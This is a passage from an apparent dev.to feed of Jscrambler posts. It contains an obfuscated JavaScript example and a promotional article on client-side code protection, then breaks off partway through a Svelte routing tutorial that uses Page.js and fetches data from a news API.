class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][[]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;
&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][[]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]])()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;To the human eye, this seems impossible to reverse-engineer. But while this code has been obfuscated with high &lt;a href="https://docs.jscrambler.com/code-integrity/getting-started/metrics#potency"&gt;potency&lt;/a&gt;, the obfuscation is in fact very weak. Using an automated reverse-engineering tool, we would get the original code immediately. This means that this obfuscation has low &lt;a href="https://docs.jscrambler.com/code-integrity/getting-started/metrics#resilience"&gt;resilience&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Knowing these two concepts will get you a long way towards being able to compare different obfuscation tools. As you do this analysis, you'll see how &lt;strong&gt;free obfuscators offer basic transformations with very little resilience&lt;/strong&gt;, meaning that they would be easily reversed. There are also known cases of these free tools inserting malware during obfuscation.&lt;/p&gt;

&lt;p&gt;Now that we covered obfuscation, let’s look at the remaining pieces of JavaScript protection.&lt;/p&gt;

&lt;h2&gt;
  
  
  JavaScript Protection
&lt;/h2&gt;

&lt;p&gt;Just like you put in place strict measures for server-side and network security, specific client-side security practices are crucial to prevent serious attacks.&lt;/p&gt;

&lt;p&gt;To understand why, let's see what OWASP says about this on their &lt;a href="https://owasp.org/www-project-mobile-top-10/"&gt;Mobile Top 10 Security Risks&lt;/a&gt; guide:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UnRNwYa8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/05/owasp-logo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UnRNwYa8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/05/owasp-logo.png" alt="owasp-logo"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;M8 Code Tampering&lt;/th&gt;
&lt;th&gt;M9 Reverse Engineering&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;“The mobile app must be able to detect at runtime that code has been added or changed (…) The app must be able to react appropriately at runtime to a code integrity violation.”&lt;/td&gt;
&lt;td&gt;“In order to prevent effective reverse engineering, you must use an obfuscation tool.”&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So, while obfuscation should provide a good way of preventing reverse-engineering, more advanced threats like code tampering require &lt;a href="https://docs.jscrambler.com/code-integrity/documentation/transformations/self-defending"&gt;protection at runtime&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=beyond-obfuscation"&gt;&lt;img alt="Try Jcrambler For Free" src="https://res.cloudinary.com/practicaldev/image/fetch/s--TIsU1Hdb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://media.jscrambler.com/blog/V3-freetrial.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Over the years, we have helped thousands of businesses tackle different attack scenarios with JavaScript protection. Let’s look at some of the most prevalent ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automated Abuse
&lt;/h2&gt;

&lt;p&gt;In the Web, abuse refers to exploiting the web application’s functionalities to gain access or privileges through the use of bots — for example, to automate new account creation in a cloud provider and get unlimited free benefits to mine cryptocurrencies.&lt;/p&gt;

&lt;p&gt;Often, these attacks require some sort of source code manipulation, which is possible when JavaScript is unprotected.&lt;/p&gt;

&lt;h2&gt;
  
  
  Piracy and Cheating
&lt;/h2&gt;

&lt;p&gt;Piracy is a key business threat in digital products and services, especially to the fast-growing OTT industry.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A3rzNzxQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/06/jscrambler-ott-piracy-stats.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A3rzNzxQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/06/jscrambler-ott-piracy-stats.png" alt="Piracy Stats"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The forensic watermarking solutions that providers employ to track down the source of leaks are typically deployed with a client-side JavaScript agent. Because the source code of this agent is exposed, attackers can tamper with its logic to bypass it and make it much harder for providers to block their accounts.&lt;/p&gt;

&lt;p&gt;Using a similar tactic, attackers can abuse games by tampering with the code to &lt;strong&gt;illegitimately gain advantages&lt;/strong&gt;. This negatively affects legitimate users and hurts the business severely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Data Exfiltration
&lt;/h2&gt;

&lt;p&gt;On the Web, users commonly submit data like their email, name, address, credit card number, or even medical information on a website using a form. Because the logic behind these forms is handled by JavaScript and all this sensitive data passes through the client-side, the safety of this data could be at risk.&lt;/p&gt;

&lt;p&gt;By leaving their JavaScript exposed, organizations make it easier for attackers to understand how their web applications work and facilitate the planning/automation of data exfiltration or scraping attacks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NlaQrsHS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/06/jscrambler-data-breaches-stats.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NlaQrsHS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/06/jscrambler-data-breaches-stats.png" alt="Data Exfiltration Stats"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the contrary, source code protection helps frustrate attackers and raise the cost of the attack to a point where they’re likely to move to another target.&lt;/p&gt;

&lt;p&gt;Plus, by protecting their JavaScript source code, these companies increase their compliance with standards such as ISO 27001 and data protection regulations like CCPA/GDPR.&lt;/p&gt;

&lt;h2&gt;
  
  
  In-Depth Security
&lt;/h2&gt;

&lt;p&gt;The different attack scenarios we just covered are the reason why we emphasize that JavaScript Protection is much more than obfuscation. This protection should be seen as a valuable component of an application security strategy.&lt;/p&gt;

&lt;p&gt;So the "security isn't obscurity" argument has naturally evolved to today's context with the new constructive argument of "what we need is in-depth security".&lt;/p&gt;

&lt;p&gt;Feel free to try all Jscrambler features with a &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=beyond-obfuscation"&gt;free trial&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>security</category>
    </item>
    <item>
      <title>Svelte Routing with Page.js</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Fri, 12 Jun 2020 16:41:53 +0000</pubDate>
      <link>https://forem.com/jscrambler/svelte-routing-with-page-js-2aj</link>
      <guid>https://forem.com/jscrambler/svelte-routing-with-page-js-2aj</guid>
      <description>&lt;p&gt;In this article, we'll learn about how to implement routing in our Svelte.js apps.&lt;/p&gt;

&lt;p&gt;In a previous &lt;a href="https://blog.jscrambler.com/svelte-vs-react-differences-when-building-the-same-web-app/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;tutorial&lt;/a&gt;, we have created a simple news app that fetches data from a remote REST API and we even compared it with React.&lt;/p&gt;

&lt;p&gt;Let's now see how to add routing to that Svelte app.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;In order to follow this tutorial, you should have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Familiarity with JavaScript alongside with HTML and CSS;&lt;/li&gt;
&lt;li&gt;Both Node 8+ and npm installed on your machine. You can use &lt;a href="https://github.com/creationix/nvm#installation"&gt;nvm&lt;/a&gt;  (macOS/Linux) or  &lt;a href="https://github.com/coreybutler/nvm-windows#node-version-manager-nvm-for-windows"&gt;nvm-windows&lt;/a&gt; to install and switch between Node versions in your system.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Initializing our Svelte App
&lt;/h2&gt;

&lt;p&gt;Head over to your terminal and run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; degit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Next, initialize a new app using the following commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;npx degit sveltejs/template sveltenewsapp
&lt;span class="nb"&gt;cd &lt;/span&gt;sveltenewsapp 
npm &lt;span class="nb"&gt;install 
&lt;/span&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;You can access the app from the &lt;code&gt;http://localhost:5000/&lt;/code&gt; address.&lt;/p&gt;

&lt;p&gt;Next, let's see how to implement routing in our Svelte application.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Add Routing to Svelte.js
&lt;/h2&gt;

&lt;p&gt;You can add routing to your Svelte app using various ways such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using &lt;a href="https://sapper.svelte.dev/"&gt;Sapper&lt;/a&gt;, a framework built on top of Svelte by the Svelte team;&lt;/li&gt;
&lt;li&gt;Use community packages like &lt;a href="https://github.com/EmilTholin/svelte-routing"&gt;svelte-routing&lt;/a&gt; or &lt;a href="https://visionmedia.github.io/page.js/"&gt;Page.js&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We'll use Page.js to implement routing in this article. This seems to be a highly popular choice among Svelte developers mainly due to its high configurability.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installing Page.js
&lt;/h2&gt;

&lt;p&gt;We will get started by installing Page.js in our project. &lt;/p&gt;

&lt;p&gt;Head back to your terminal, make sure you are inside the folder of your Svelte app and run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;page
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Next, open the &lt;code&gt;package.json&lt;/code&gt; file and change:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sirv public"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;To:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sirv public --single"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This will make sure we don't get any errors when navigating to routes from the browser's address bar.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating Components
&lt;/h2&gt;

&lt;p&gt;Let's now create a few components in our application,&lt;/p&gt;

&lt;p&gt;First, create a &lt;code&gt;components/&lt;/code&gt; folder in the &lt;code&gt;src/&lt;/code&gt; folder. Next, create two files, &lt;code&gt;Home.svelte&lt;/code&gt; and &lt;code&gt;About.svelte&lt;/code&gt;, inside the &lt;code&gt;src/components/&lt;/code&gt; folder.&lt;/p&gt;

&lt;p&gt;Now, open the &lt;code&gt;src/components/Home.svelte&lt;/code&gt; and update it as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;onMount&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;svelte&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiKEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;YOUR-API-KEY&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`https://newsapi.org/v2/everything?q=javascript&amp;amp;sortBy=publishedAt&amp;amp;apiKey=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;apiKEY&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fetchData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;


        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;articles&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="nx"&gt;onMount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fetchData&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

        {#each items as item}
            &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"card"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"{item.urlToImage}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"card-body"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;{item.title}&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt; {item.description} &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"{item.url}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Read&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        {/each}

&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;h1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;purple&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;'kalam'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.container&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;grid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="py"&gt;grid-template-columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auto-fill&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;minmax&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;305px&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="n"&gt;fr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="py"&gt;grid-gap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;15px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.container&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;.card&lt;/span&gt; &lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;max-width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



